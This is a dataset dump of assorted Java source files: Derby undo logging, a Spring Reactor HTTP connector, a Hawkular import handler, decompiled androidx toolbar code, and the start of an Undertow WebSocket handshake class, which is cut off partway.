language
stringclasses 5
values | text
stringlengths 15
988k
|
---|---|
Java
|
public final class PhysicalUndoOperation extends PageBasicOperation
implements Compensation {
/** The operation to be rolled back */
transient private PhysicalPageOperation undoOp;
PhysicalUndoOperation(BasePage page)
{
super(page);
}
/** Set up a compensation operation during run time rollback */
PhysicalUndoOperation(BasePage page, PhysicalPageOperation op)
{
super(page);
undoOp = op;
}
/**
Return my format identifier.
*/
// no-arg constructor, required by Formatable
public PhysicalUndoOperation() { super(); }
public int getTypeFormatId() {
return StoredFormatIds.LOGOP_PAGE_PHYSICAL_UNDO;
}
// no fields, therefore no writeExternal or readExternal
/**
Compensation methods
*/
/** Set up a PageUndoOperation during recovery redo. */
public void setUndoOp(Undoable op)
{
if (SanityManager.DEBUG) {
SanityManager.ASSERT(op instanceof PhysicalPageOperation);
}
undoOp = (PhysicalPageOperation)op;
}
/**
Loggable methods
*/
/** Apply the undo operation, in this implementation of the
RawStore, it can only call the undoMe method of undoOp
@param xact the Transaction that is doing the rollback
@param instant the log instant of this undo operation
@param in optional data
@exception IOException Can be thrown by any of the methods of InputStream.
@exception StandardException Standard Derby policy.
*/
public final void doMe(Transaction xact, LogInstant instant, LimitObjectInput in)
throws StandardException, IOException
{
long oldversion = 0; // sanity check
LogInstant oldLogInstant = null; // sanity check
if (SanityManager.DEBUG)
{
oldLogInstant = this.page.getLastLogInstant();
oldversion = this.page.getPageVersion();
SanityManager.ASSERT(oldversion == this.getPageVersion());
SanityManager.ASSERT(oldLogInstant == null || instant == null
|| oldLogInstant.lessThan(instant));
}
// if this is called during runtime rollback, PageOp.generateUndo found
// the page and have it latched there.
// if this is called during recovery redo, this.needsRedo found the page and
// have it latched here
//
// in either case, this.page is the correct page and is latched.
//
undoOp.undoMe(xact, this.page, instant, in);
if (SanityManager.DEBUG) {
if (oldversion >= this.page.getPageVersion())
{
SanityManager.THROWASSERT(
"oldversion = " + oldversion +
";page version = " + this.page.getPageVersion() +
"page = " + page +
"; my class name is " + getClass().getName() +
" undoOp is " + undoOp.getClass().getName() );
}
SanityManager.ASSERT(
oldversion < this.page.getPageVersion());
if (instant != null &&
! instant.equals(this.page.getLastLogInstant()))
SanityManager.THROWASSERT(
"my class name is " + getClass().getName() +
" undoOp is " + undoOp.getClass().getName() );
}
releaseResource(xact);
}
/* make sure resource found in undoOp is released */
public void releaseResource(Transaction xact)
{
if (undoOp != null)
undoOp.releaseResource(xact);
super.releaseResource(xact);
}
/* Undo operation is a COMPENSATION log operation */
public int group()
{
return super.group() | Loggable.COMPENSATION | Loggable.RAWSTORE;
}
public final ByteArray getPreparedLog() {
// should never ever write optional data because this implementation of
// the recovery system will never read this and pass this on to dome.
// Instead, the optional data of the undoOp will be used - since
// this.doMe can only call undoOP.undoMe, this has no use for any
// optional data.
return (ByteArray) null;
}
public void restoreMe(Transaction xact, BasePage undoPage,
LogInstant CLRinstant, LimitObjectInput in)
{
// Not undoable
if (SanityManager.DEBUG)
SanityManager.THROWASSERT("cannot call restore me on PhysicalUndoOperation");
}
/**
DEBUG: Print self.
*/
public String toString()
{
if (SanityManager.DEBUG)
{
String str = "CLR (Physical Undo): " + super.toString();
if (undoOp != null)
str += "\n" + undoOp.toString();
else
str += "undo Operation not set";
return str;
}
else
return null;
}
}
|
Java
|
public class PrefixConfig {
// VARIABLES
// -------------------------------------------------------------------------
// Static final representing the prefix for the ontology compiler
public static final String JOINT_PREFIX = "joint.codegen.";
// Alibaba OWL compiler
private OWLCompiler converter;
// Variable to load the ontologies
private OntologyLoader loader;
// CONSTRUCTOR
// -------------------------------------------------------------------------
/**
* Sets the default prefixes for the code generator
*
* @param compiler
* an OWLCompiler object
* @param loader
* an OntologyLoader object
*/
public PrefixConfig(OWLCompiler converter, OntologyLoader loader) {
this.converter = converter;
this.loader = loader;
this.converter.setPackagePrefix(JOINT_PREFIX);
this.setDefaultPackagesPrefix();
}
// METHODS
// -------------------------------------------------------------------------
/**
* Sets the default prefixes for the code generator
*
*/
private void setDefaultPackagesPrefix() {
converter.setPrefixNamespaces(loader.getNamespaces());
}
/**
* Gets the already configured compiler
*
*/
public OWLCompiler getConfiguredCompiler() {
return converter;
}
}
|
Java
|
public class ReactorClientHttpConnector implements ClientHttpConnector {
private final HttpClient httpClient;
/**
* Create a Reactor Netty {@link ClientHttpConnector}
* with default configuration and HTTP compression support enabled.
*/
public ReactorClientHttpConnector() {
this.httpClient = HttpClient.create().compress();
}
/**
* Create a Reactor Netty {@link ClientHttpConnector} with a fully
* configured {@code HttpClient}.
* @param httpClient the client instance to use
* @since 5.1
*/
public ReactorClientHttpConnector(HttpClient httpClient) {
Assert.notNull(httpClient, "HttpClient is required");
this.httpClient = httpClient;
}
@Override
public Mono<ClientHttpResponse> connect(HttpMethod method, URI uri,
Function<? super ClientHttpRequest, Mono<Void>> requestCallback) {
if (!uri.isAbsolute()) {
return Mono.error(new IllegalArgumentException("URI is not absolute: " + uri));
}
return this.httpClient
.request(io.netty.handler.codec.http.HttpMethod.valueOf(method.name()))
.uri(uri.toString())
.send((request, outbound) -> requestCallback.apply(adaptRequest(method, uri, request, outbound)))
.responseConnection((res, con) -> Mono.just(adaptResponse(res, con.inbound(), con.outbound().alloc())))
.next();
}
private ReactorClientHttpRequest adaptRequest(HttpMethod method, URI uri, HttpClientRequest request,
NettyOutbound nettyOutbound) {
return new ReactorClientHttpRequest(method, uri, request, nettyOutbound);
}
private ClientHttpResponse adaptResponse(HttpClientResponse response, NettyInbound nettyInbound,
ByteBufAllocator allocator) {
return new ReactorClientHttpResponse(response, nettyInbound, allocator);
}
}
|
Java
|
@ApplicationScoped
@DocEndpoint(value = "/import", description = "Import of triggers and actions definitions")
public class ImportHandler {
private static final MsgLogger log = MsgLogging.getMsgLogger(ImportHandler.class);
@Inject
DefinitionsService definitionsService;
@PostConstruct
public void init(@Observes Router router) {
String path = "/hawkular/alerts/import";
router.route().handler(BodyHandler.create());
router.post(path + "/:strategy").handler(this::importDefinitions);
}
@DocPath(method = POST,
path = "/{strategy}",
name = "Import a list of full triggers and action definitions.",
notes = "Return a list of effectively imported full triggers and action definitions. + \n" +
" + \n" +
"Import options: + \n" +
" + \n" +
"DELETE + \n" +
"" +
" + \n" +
"Existing data in the backend is DELETED before the import operation. + \n" +
"All <<FullTrigger>> and <<ActionDefinition>> objects defined in the <<Definitions>> parameter " +
"are imported. + \n" +
" + \n" +
"ALL + \n" +
" + \n" +
"Existing data in the backend is NOT DELETED before the import operation. + \n" +
"All <<FullTrigger>> and <<ActionDefinition>> objects defined in the <<Definitions>> parameter " +
"are imported. + \n" +
"Existing <<FullTrigger>> and <<ActionDefinition>> objects are overwritten with new values " +
"passed in the <<Definitions>> parameter." +
" + \n" +
"NEW + \n" +
" + \n" +
"Existing data in the backend is NOT DELETED before the import operation. + \n" +
"Only NEW <<FullTrigger>> and <<ActionDefinition>> objects defined in the <<Definitions>> " +
"parameters are imported. + \n" +
"Existing <<FullTrigger>> and <<ActionDefinition>> objects are maintained in the backend. + \n" +
" + \n" +
"OLD + \n" +
"Existing data in the backend is NOT DELETED before the import operation. + \n" +
"Only <<FullTrigger>> and <<ActionDefinition>> objects defined in the <<Definitions>> parameter " +
"that previously exist in the backend are imported and overwritten. + \n" +
"New <<FullTrigger>> and <<ActionDefinition>> objects that don't exist previously in the " +
"backend are ignored. + \n" +
" + \n")
@DocParameters(value = {
@DocParameter(name = "strategy", required = true, path = true,
description = "Import strategy.",
allowableValues = "DELETE,ALL,NEW,OLD"),
@DocParameter(required = true, body = true, type = Definitions.class,
description = "Collection of full triggers and action definitions to import.")
})
@DocResponses(value = {
@DocResponse(code = 200, message = "Successfully exported list of full triggers and action definitions.", response = Definitions.class),
@DocResponse(code = 400, message = "Bad Request/Invalid Parameters.", response = ApiError.class),
@DocResponse(code = 500, message = "Internal server error.", response = ApiError.class)
})
public void importDefinitions(RoutingContext routing) {
routing.vertx()
.executeBlocking(future -> {
String tenantId = ResponseUtil.checkTenant(routing);
String json = routing.getBodyAsString();
String strategy = routing.request().getParam("strategy");
Definitions definitions;
try {
definitions = fromJson(json, Definitions.class);
} catch (Exception e) {
log.errorf("Error parsing Definitions json: %s. Reason: %s", json, e.toString());
throw new ResponseUtil.NotFoundException(e.toString());
}
try {
ImportType importType = ImportType.valueOf(strategy.toUpperCase());
Definitions imported = definitionsService.importDefinitions(tenantId, definitions, importType);
future.complete(imported);
} catch (IllegalArgumentException e) {
throw new ResponseUtil.BadRequestException(e.toString());
} catch (Exception e) {
log.debug(e.getMessage(), e);
throw new ResponseUtil.InternalServerException(e.toString());
}
}, res -> ResponseUtil.result(routing, res));
}
}
|
Java
|
@XmlRootElement()
public class AddressDTO {
@XmlElement
private Integer id;
@XmlElement
private String street_name;
@XmlElement
private Integer street_number;
@XmlElement
private String apartment;
@XmlElement
private String city;
@XmlElement
private String country;
@XmlElement
private String state;
@XmlElement
private String neighborhood;
public AddressDTO() {
}
public AddressDTO(final Address address) {
this.id = address.getId();
this.street_name = address.getStreetName();
this.street_number = address.getStreetNumber();
this.apartment = address.getApartment();
this.city = address.getCity();
this.country = address.getCountry();
this.state = address.getState();
this.neighborhood = address.getNeighborhood();
}
public static List<AddressDTO> fromList(final List<Address> addresses) {
if (addresses == null) {
return Collections.emptyList();
}
return addresses.stream().map(a -> new AddressDTO(a)).collect(Collectors.toList());
}
}
|
Java
|
public class ArchieLanguageConfiguration {
private static ThreadLocal<String> currentLogicalPathLanguage = new ThreadLocal<>();
private static ThreadLocal<String> currentMeaningAndDescriptionLanguage = new ThreadLocal<>();
private static String DEFAULT_MEANING_DESCRIPTION_LANGUAGE = "en";
private static String DEFAULT_LOGICAL_PATH_LANGUAGE = "en";
/**
* The language for use in logical paths
* @return The language for use in logical paths
*/
public static String getLogicalPathLanguage() {
String language = currentLogicalPathLanguage.get();
if(language == null) {
language = DEFAULT_LOGICAL_PATH_LANGUAGE;
}
return language;
}
/**
* The language for use in logical paths
* @return The language for use in logical paths
*/
public static String getMeaningAndDescriptionLanguage() {
String language = currentMeaningAndDescriptionLanguage.get();
if(language == null) {
language = DEFAULT_MEANING_DESCRIPTION_LANGUAGE;
}
return language;
}
public static void setDefaultMeaningAndDescriptionLanguage(String defaultLanguage) {
DEFAULT_MEANING_DESCRIPTION_LANGUAGE = defaultLanguage;
}
public static void setDefaultLogicalPathLanguage(String defaultLanguage) {
DEFAULT_LOGICAL_PATH_LANGUAGE = defaultLanguage;
}
/**
* Override the language used in logical paths, on a thread local basis
* @param language The language the use
*/
public static void setThreadLocalLogicalPathLanguage(String language) {
currentLogicalPathLanguage.set(language);
}
/*
* Override the language used in descriptions and meanings, on a thread local basis
* @Param language the language to use
*/
public static void setThreadLocalDescriptiongAndMeaningLanguage(String language) {
currentMeaningAndDescriptionLanguage.set(language);
}
public static String getDefaultMeaningAndDescriptionLanguage() {
return DEFAULT_MEANING_DESCRIPTION_LANGUAGE;
}
}
|
Java
|
public class Separator<T> extends Mapper<T, T> {
private final Supplier<T> value;
private boolean extra;
private boolean first = true;
public Separator(final T value) {
this(() -> value);
}
public Separator(final Supplier<T> value) {
super(v -> v);
this.value = value;
}
@Override
protected boolean canRequestMore(long n) {
if (extra) {
extra = false;
return false;
}
return true;
}
@Override
public void onNext(final T value) {
if (first) {
first = false;
} else {
extra = true;
super.onNext(this.value.get());
}
super.onNext(value);
}
}
|
Java
|
public class ToolbarActionBar extends ActionBar {
DecorToolbar mDecorToolbar;
private boolean mLastMenuVisibility;
private boolean mMenuCallbackSet;
private final Toolbar.OnMenuItemClickListener mMenuClicker = new Toolbar.OnMenuItemClickListener() {
/* class androidx.appcompat.app.ToolbarActionBar.C00352 */
@Override // androidx.appcompat.widget.Toolbar.OnMenuItemClickListener
public boolean onMenuItemClick(MenuItem menuItem) {
return ToolbarActionBar.this.mWindowCallback.onMenuItemSelected(0, menuItem);
}
};
private final Runnable mMenuInvalidator = new Runnable() {
/* class androidx.appcompat.app.ToolbarActionBar.RunnableC00341 */
public void run() {
ToolbarActionBar.this.populateOptionsMenu();
}
};
private ArrayList<ActionBar.OnMenuVisibilityListener> mMenuVisibilityListeners = new ArrayList<>();
boolean mToolbarMenuPrepared;
Window.Callback mWindowCallback;
@Override // androidx.appcompat.app.ActionBar
public int getNavigationItemCount() {
return 0;
}
@Override // androidx.appcompat.app.ActionBar
public int getNavigationMode() {
return 0;
}
@Override // androidx.appcompat.app.ActionBar
public int getSelectedNavigationIndex() {
return -1;
}
@Override // androidx.appcompat.app.ActionBar
public int getTabCount() {
return 0;
}
@Override // androidx.appcompat.app.ActionBar
public void setDefaultDisplayHomeAsUpEnabled(boolean z) {
}
@Override // androidx.appcompat.app.ActionBar
public void setHomeButtonEnabled(boolean z) {
}
@Override // androidx.appcompat.app.ActionBar
public void setShowHideAnimationEnabled(boolean z) {
}
@Override // androidx.appcompat.app.ActionBar
public void setSplitBackgroundDrawable(Drawable drawable) {
}
@Override // androidx.appcompat.app.ActionBar
public void setStackedBackgroundDrawable(Drawable drawable) {
}
ToolbarActionBar(Toolbar toolbar, CharSequence charSequence, Window.Callback callback) {
this.mDecorToolbar = new ToolbarWidgetWrapper(toolbar, false);
ToolbarCallbackWrapper toolbarCallbackWrapper = new ToolbarCallbackWrapper(callback);
this.mWindowCallback = toolbarCallbackWrapper;
this.mDecorToolbar.setWindowCallback(toolbarCallbackWrapper);
toolbar.setOnMenuItemClickListener(this.mMenuClicker);
this.mDecorToolbar.setWindowTitle(charSequence);
}
public Window.Callback getWrappedWindowCallback() {
return this.mWindowCallback;
}
@Override // androidx.appcompat.app.ActionBar
public void setCustomView(View view) {
setCustomView(view, new ActionBar.LayoutParams(-2, -2));
}
@Override // androidx.appcompat.app.ActionBar
public void setCustomView(View view, ActionBar.LayoutParams layoutParams) {
if (view != null) {
view.setLayoutParams(layoutParams);
}
this.mDecorToolbar.setCustomView(view);
}
@Override // androidx.appcompat.app.ActionBar
public void setCustomView(int i) {
setCustomView(LayoutInflater.from(this.mDecorToolbar.getContext()).inflate(i, this.mDecorToolbar.getViewGroup(), false));
}
@Override // androidx.appcompat.app.ActionBar
public void setIcon(int i) {
this.mDecorToolbar.setIcon(i);
}
@Override // androidx.appcompat.app.ActionBar
public void setIcon(Drawable drawable) {
this.mDecorToolbar.setIcon(drawable);
}
@Override // androidx.appcompat.app.ActionBar
public void setLogo(int i) {
this.mDecorToolbar.setLogo(i);
}
@Override // androidx.appcompat.app.ActionBar
public void setLogo(Drawable drawable) {
this.mDecorToolbar.setLogo(drawable);
}
@Override // androidx.appcompat.app.ActionBar
public void setElevation(float f) {
ViewCompat.setElevation(this.mDecorToolbar.getViewGroup(), f);
}
@Override // androidx.appcompat.app.ActionBar
public float getElevation() {
return ViewCompat.getElevation(this.mDecorToolbar.getViewGroup());
}
@Override // androidx.appcompat.app.ActionBar
public Context getThemedContext() {
return this.mDecorToolbar.getContext();
}
@Override // androidx.appcompat.app.ActionBar
public boolean isTitleTruncated() {
return super.isTitleTruncated();
}
@Override // androidx.appcompat.app.ActionBar
public void setHomeAsUpIndicator(Drawable drawable) {
this.mDecorToolbar.setNavigationIcon(drawable);
}
@Override // androidx.appcompat.app.ActionBar
public void setHomeAsUpIndicator(int i) {
this.mDecorToolbar.setNavigationIcon(i);
}
@Override // androidx.appcompat.app.ActionBar
public void setHomeActionContentDescription(CharSequence charSequence) {
this.mDecorToolbar.setNavigationContentDescription(charSequence);
}
@Override // androidx.appcompat.app.ActionBar
public void setHomeActionContentDescription(int i) {
this.mDecorToolbar.setNavigationContentDescription(i);
}
@Override // androidx.appcompat.app.ActionBar
public void onConfigurationChanged(Configuration configuration) {
super.onConfigurationChanged(configuration);
}
@Override // androidx.appcompat.app.ActionBar
public void setListNavigationCallbacks(SpinnerAdapter spinnerAdapter, ActionBar.OnNavigationListener onNavigationListener) {
this.mDecorToolbar.setDropdownParams(spinnerAdapter, new NavItemSelectedListener(onNavigationListener));
}
@Override // androidx.appcompat.app.ActionBar
public void setSelectedNavigationItem(int i) {
if (this.mDecorToolbar.getNavigationMode() == 1) {
this.mDecorToolbar.setDropdownSelectedPosition(i);
return;
}
throw new IllegalStateException("setSelectedNavigationIndex not valid for current navigation mode");
}
@Override // androidx.appcompat.app.ActionBar
public void setTitle(CharSequence charSequence) {
this.mDecorToolbar.setTitle(charSequence);
}
@Override // androidx.appcompat.app.ActionBar
public void setTitle(int i) {
DecorToolbar decorToolbar = this.mDecorToolbar;
decorToolbar.setTitle(i != 0 ? decorToolbar.getContext().getText(i) : null);
}
@Override // androidx.appcompat.app.ActionBar
public void setWindowTitle(CharSequence charSequence) {
this.mDecorToolbar.setWindowTitle(charSequence);
}
@Override // androidx.appcompat.app.ActionBar
public boolean requestFocus() {
ViewGroup viewGroup = this.mDecorToolbar.getViewGroup();
if (viewGroup == null || viewGroup.hasFocus()) {
return false;
}
viewGroup.requestFocus();
return true;
}
@Override // androidx.appcompat.app.ActionBar
public void setSubtitle(CharSequence charSequence) {
this.mDecorToolbar.setSubtitle(charSequence);
}
@Override // androidx.appcompat.app.ActionBar
public void setSubtitle(int i) {
DecorToolbar decorToolbar = this.mDecorToolbar;
decorToolbar.setSubtitle(i != 0 ? decorToolbar.getContext().getText(i) : null);
}
@Override // androidx.appcompat.app.ActionBar
public void setDisplayOptions(int i) {
setDisplayOptions(i, -1);
}
@Override // androidx.appcompat.app.ActionBar
public void setDisplayOptions(int i, int i2) {
this.mDecorToolbar.setDisplayOptions((i & i2) | ((i2 ^ -1) & this.mDecorToolbar.getDisplayOptions()));
}
@Override // androidx.appcompat.app.ActionBar
public void setDisplayUseLogoEnabled(boolean z) {
setDisplayOptions(z ? 1 : 0, 1);
}
@Override // androidx.appcompat.app.ActionBar
public void setDisplayShowHomeEnabled(boolean z) {
setDisplayOptions(z ? 2 : 0, 2);
}
@Override // androidx.appcompat.app.ActionBar
public void setDisplayHomeAsUpEnabled(boolean z) {
setDisplayOptions(z ? 4 : 0, 4);
}
@Override // androidx.appcompat.app.ActionBar
public void setDisplayShowTitleEnabled(boolean z) {
setDisplayOptions(z ? 8 : 0, 8);
}
@Override // androidx.appcompat.app.ActionBar
public void setDisplayShowCustomEnabled(boolean z) {
setDisplayOptions(z ? 16 : 0, 16);
}
@Override // androidx.appcompat.app.ActionBar
public void setBackgroundDrawable(Drawable drawable) {
this.mDecorToolbar.setBackgroundDrawable(drawable);
}
@Override // androidx.appcompat.app.ActionBar
public View getCustomView() {
return this.mDecorToolbar.getCustomView();
}
@Override // androidx.appcompat.app.ActionBar
public CharSequence getTitle() {
return this.mDecorToolbar.getTitle();
}
@Override // androidx.appcompat.app.ActionBar
public CharSequence getSubtitle() {
return this.mDecorToolbar.getSubtitle();
}
@Override // androidx.appcompat.app.ActionBar
public void setNavigationMode(int i) {
if (i != 2) {
this.mDecorToolbar.setNavigationMode(i);
return;
}
throw new IllegalArgumentException("Tabs not supported in this configuration");
}
@Override // androidx.appcompat.app.ActionBar
public int getDisplayOptions() {
return this.mDecorToolbar.getDisplayOptions();
}
@Override // androidx.appcompat.app.ActionBar
public ActionBar.Tab newTab() {
throw new UnsupportedOperationException("Tabs are not supported in toolbar action bars");
}
@Override // androidx.appcompat.app.ActionBar
public void addTab(ActionBar.Tab tab) {
throw new UnsupportedOperationException("Tabs are not supported in toolbar action bars");
}
@Override // androidx.appcompat.app.ActionBar
public void addTab(ActionBar.Tab tab, boolean z) {
throw new UnsupportedOperationException("Tabs are not supported in toolbar action bars");
}
@Override // androidx.appcompat.app.ActionBar
public void addTab(ActionBar.Tab tab, int i) {
throw new UnsupportedOperationException("Tabs are not supported in toolbar action bars");
}
@Override // androidx.appcompat.app.ActionBar
public void addTab(ActionBar.Tab tab, int i, boolean z) {
throw new UnsupportedOperationException("Tabs are not supported in toolbar action bars");
}
@Override // androidx.appcompat.app.ActionBar
public void removeTab(ActionBar.Tab tab) {
throw new UnsupportedOperationException("Tabs are not supported in toolbar action bars");
}
@Override // androidx.appcompat.app.ActionBar
public void removeTabAt(int i) {
throw new UnsupportedOperationException("Tabs are not supported in toolbar action bars");
}
@Override // androidx.appcompat.app.ActionBar
public void removeAllTabs() {
throw new UnsupportedOperationException("Tabs are not supported in toolbar action bars");
}
@Override // androidx.appcompat.app.ActionBar
public void selectTab(ActionBar.Tab tab) {
throw new UnsupportedOperationException("Tabs are not supported in toolbar action bars");
}
@Override // androidx.appcompat.app.ActionBar
public ActionBar.Tab getSelectedTab() {
throw new UnsupportedOperationException("Tabs are not supported in toolbar action bars");
}
@Override // androidx.appcompat.app.ActionBar
public ActionBar.Tab getTabAt(int i) {
throw new UnsupportedOperationException("Tabs are not supported in toolbar action bars");
}
@Override // androidx.appcompat.app.ActionBar
public int getHeight() {
return this.mDecorToolbar.getHeight();
}
@Override // androidx.appcompat.app.ActionBar
public void show() {
this.mDecorToolbar.setVisibility(0);
}
@Override // androidx.appcompat.app.ActionBar
public void hide() {
this.mDecorToolbar.setVisibility(8);
}
@Override // androidx.appcompat.app.ActionBar
public boolean isShowing() {
return this.mDecorToolbar.getVisibility() == 0;
}
@Override // androidx.appcompat.app.ActionBar
public boolean openOptionsMenu() {
return this.mDecorToolbar.showOverflowMenu();
}
@Override // androidx.appcompat.app.ActionBar
public boolean closeOptionsMenu() {
return this.mDecorToolbar.hideOverflowMenu();
}
@Override // androidx.appcompat.app.ActionBar
public boolean invalidateOptionsMenu() {
this.mDecorToolbar.getViewGroup().removeCallbacks(this.mMenuInvalidator);
ViewCompat.postOnAnimation(this.mDecorToolbar.getViewGroup(), this.mMenuInvalidator);
return true;
}
@Override // androidx.appcompat.app.ActionBar
public boolean collapseActionView() {
if (!this.mDecorToolbar.hasExpandedActionView()) {
return false;
}
this.mDecorToolbar.collapseActionView();
return true;
}
/* access modifiers changed from: package-private */
public void populateOptionsMenu() {
Menu menu = getMenu();
MenuBuilder menuBuilder = menu instanceof MenuBuilder ? (MenuBuilder) menu : null;
if (menuBuilder != null) {
menuBuilder.stopDispatchingItemsChanged();
}
try {
menu.clear();
if (!this.mWindowCallback.onCreatePanelMenu(0, menu) || !this.mWindowCallback.onPreparePanel(0, null, menu)) {
menu.clear();
}
} finally {
if (menuBuilder != null) {
menuBuilder.startDispatchingItemsChanged();
}
}
}
@Override // androidx.appcompat.app.ActionBar
public boolean onMenuKeyEvent(KeyEvent keyEvent) {
if (keyEvent.getAction() == 1) {
openOptionsMenu();
}
return true;
}
@Override // androidx.appcompat.app.ActionBar
public boolean onKeyShortcut(int i, KeyEvent keyEvent) {
Menu menu = getMenu();
if (menu == null) {
return false;
}
boolean z = true;
if (KeyCharacterMap.load(keyEvent != null ? keyEvent.getDeviceId() : -1).getKeyboardType() == 1) {
z = false;
}
menu.setQwertyMode(z);
return menu.performShortcut(i, keyEvent, 0);
}
/* access modifiers changed from: package-private */
@Override // androidx.appcompat.app.ActionBar
public void onDestroy() {
this.mDecorToolbar.getViewGroup().removeCallbacks(this.mMenuInvalidator);
}
@Override // androidx.appcompat.app.ActionBar
public void addOnMenuVisibilityListener(ActionBar.OnMenuVisibilityListener onMenuVisibilityListener) {
this.mMenuVisibilityListeners.add(onMenuVisibilityListener);
}
@Override // androidx.appcompat.app.ActionBar
public void removeOnMenuVisibilityListener(ActionBar.OnMenuVisibilityListener onMenuVisibilityListener) {
this.mMenuVisibilityListeners.remove(onMenuVisibilityListener);
}
@Override // androidx.appcompat.app.ActionBar
public void dispatchMenuVisibilityChanged(boolean z) {
if (z != this.mLastMenuVisibility) {
this.mLastMenuVisibility = z;
int size = this.mMenuVisibilityListeners.size();
for (int i = 0; i < size; i++) {
this.mMenuVisibilityListeners.get(i).onMenuVisibilityChanged(z);
}
}
}
private class ToolbarCallbackWrapper extends WindowCallbackWrapper {
public ToolbarCallbackWrapper(Window.Callback callback) {
super(callback);
}
@Override // androidx.appcompat.view.WindowCallbackWrapper
public boolean onPreparePanel(int i, View view, Menu menu) {
boolean onPreparePanel = super.onPreparePanel(i, view, menu);
if (onPreparePanel && !ToolbarActionBar.this.mToolbarMenuPrepared) {
ToolbarActionBar.this.mDecorToolbar.setMenuPrepared();
ToolbarActionBar.this.mToolbarMenuPrepared = true;
}
return onPreparePanel;
}
@Override // androidx.appcompat.view.WindowCallbackWrapper
public View onCreatePanelView(int i) {
if (i == 0) {
return new View(ToolbarActionBar.this.mDecorToolbar.getContext());
}
return super.onCreatePanelView(i);
}
}
private Menu getMenu() {
if (!this.mMenuCallbackSet) {
this.mDecorToolbar.setMenuCallbacks(new ActionMenuPresenterCallback(), new MenuBuilderCallback());
this.mMenuCallbackSet = true;
}
return this.mDecorToolbar.getMenu();
}
/* access modifiers changed from: private */
public final class ActionMenuPresenterCallback implements MenuPresenter.Callback {
private boolean mClosingActionMenu;
ActionMenuPresenterCallback() {
}
@Override // androidx.appcompat.view.menu.MenuPresenter.Callback
public boolean onOpenSubMenu(MenuBuilder menuBuilder) {
if (ToolbarActionBar.this.mWindowCallback == null) {
return false;
}
ToolbarActionBar.this.mWindowCallback.onMenuOpened(108, menuBuilder);
return true;
}
@Override // androidx.appcompat.view.menu.MenuPresenter.Callback
public void onCloseMenu(MenuBuilder menuBuilder, boolean z) {
if (!this.mClosingActionMenu) {
this.mClosingActionMenu = true;
ToolbarActionBar.this.mDecorToolbar.dismissPopupMenus();
if (ToolbarActionBar.this.mWindowCallback != null) {
ToolbarActionBar.this.mWindowCallback.onPanelClosed(108, menuBuilder);
}
this.mClosingActionMenu = false;
}
}
}
/* access modifiers changed from: private */
public final class MenuBuilderCallback implements MenuBuilder.Callback {
@Override // androidx.appcompat.view.menu.MenuBuilder.Callback
public boolean onMenuItemSelected(MenuBuilder menuBuilder, MenuItem menuItem) {
return false;
}
MenuBuilderCallback() {
}
@Override // androidx.appcompat.view.menu.MenuBuilder.Callback
public void onMenuModeChange(MenuBuilder menuBuilder) {
if (ToolbarActionBar.this.mWindowCallback == null) {
return;
}
if (ToolbarActionBar.this.mDecorToolbar.isOverflowMenuShowing()) {
ToolbarActionBar.this.mWindowCallback.onPanelClosed(108, menuBuilder);
} else if (ToolbarActionBar.this.mWindowCallback.onPreparePanel(0, null, menuBuilder)) {
ToolbarActionBar.this.mWindowCallback.onMenuOpened(108, menuBuilder);
}
}
}
}
|
Java
|
public final class ActionMenuPresenterCallback implements MenuPresenter.Callback {
private boolean mClosingActionMenu;
ActionMenuPresenterCallback() {
}
@Override // androidx.appcompat.view.menu.MenuPresenter.Callback
public boolean onOpenSubMenu(MenuBuilder menuBuilder) {
if (ToolbarActionBar.this.mWindowCallback == null) {
return false;
}
ToolbarActionBar.this.mWindowCallback.onMenuOpened(108, menuBuilder);
return true;
}
@Override // androidx.appcompat.view.menu.MenuPresenter.Callback
public void onCloseMenu(MenuBuilder menuBuilder, boolean z) {
if (!this.mClosingActionMenu) {
this.mClosingActionMenu = true;
ToolbarActionBar.this.mDecorToolbar.dismissPopupMenus();
if (ToolbarActionBar.this.mWindowCallback != null) {
ToolbarActionBar.this.mWindowCallback.onPanelClosed(108, menuBuilder);
}
this.mClosingActionMenu = false;
}
}
}
|
Java
|
public final class MenuBuilderCallback implements MenuBuilder.Callback {
@Override // androidx.appcompat.view.menu.MenuBuilder.Callback
public boolean onMenuItemSelected(MenuBuilder menuBuilder, MenuItem menuItem) {
return false;
}
MenuBuilderCallback() {
}
@Override // androidx.appcompat.view.menu.MenuBuilder.Callback
public void onMenuModeChange(MenuBuilder menuBuilder) {
if (ToolbarActionBar.this.mWindowCallback == null) {
return;
}
if (ToolbarActionBar.this.mDecorToolbar.isOverflowMenuShowing()) {
ToolbarActionBar.this.mWindowCallback.onPanelClosed(108, menuBuilder);
} else if (ToolbarActionBar.this.mWindowCallback.onPreparePanel(0, null, menuBuilder)) {
ToolbarActionBar.this.mWindowCallback.onMenuOpened(108, menuBuilder);
}
}
}
|
Java
|
public abstract class Handshake {
private final WebSocketVersion version;
private final String hashAlgorithm;
private final String magicNumber;
protected final Set<String> subprotocols;
private static final byte[] EMPTY = new byte[0];
private static final Pattern PATTERN = Pattern.compile(",");
protected Handshake(WebSocketVersion version, String hashAlgorithm, String magicNumber, final Set<String> subprotocols) {
this.version = version;
this.hashAlgorithm = hashAlgorithm;
this.magicNumber = magicNumber;
this.subprotocols = subprotocols;
}
/**
* Return the version for which the {@link Handshake} can be used.
*/
public WebSocketVersion getVersion() {
return version;
}
/**
* Return the algorithm that is used to hash during the handshake
*/
public String getHashAlgorithm() {
return hashAlgorithm;
}
/**
* Return the magic number which will be mixed in
*/
public String getMagicNumber() {
return magicNumber;
}
/**
* Return the full url of the websocket location of the given {@link HttpServerExchange}
*/
protected static String getWebSocketLocation(WebSocketHttpExchange exchange) {
String scheme;
if ("https".equals(exchange.getRequestScheme())) {
scheme = "wss";
} else {
scheme = "ws";
}
return scheme + "://" + exchange.getRequestHeader(Headers.HOST_STRING) + exchange.getRequestURI();
}
/**
* Issue the WebSocket upgrade
*
* @param exchange The {@link HttpServerExchange} for which the handshake and upgrade should occur.
* @param callback The callback to call once the exchange is upgraded
*/
public final void handshake(final WebSocketHttpExchange exchange, final WebSocketConnectionCallback callback) {
exchange.upgradeChannel(new UpgradeCallback() {
@Override
public void handleUpgrade(final StreamConnection channel, final Pool<ByteBuffer> buffers) {
//TODO: fix this up to use the new API and not assembled
WebSocketChannel webSocket = createChannel(exchange, channel, buffers);
callback.onConnect(exchange, webSocket);
}
});
handshakeInternal(exchange);
}
protected abstract void handshakeInternal(final WebSocketHttpExchange exchange);
/**
* Return {@code true} if this implementation can be used to issue a handshake.
*/
public abstract boolean matches(WebSocketHttpExchange exchange);
/**
* Create the {@link WebSocketChannel} from the {@link HttpServerExchange}
*/
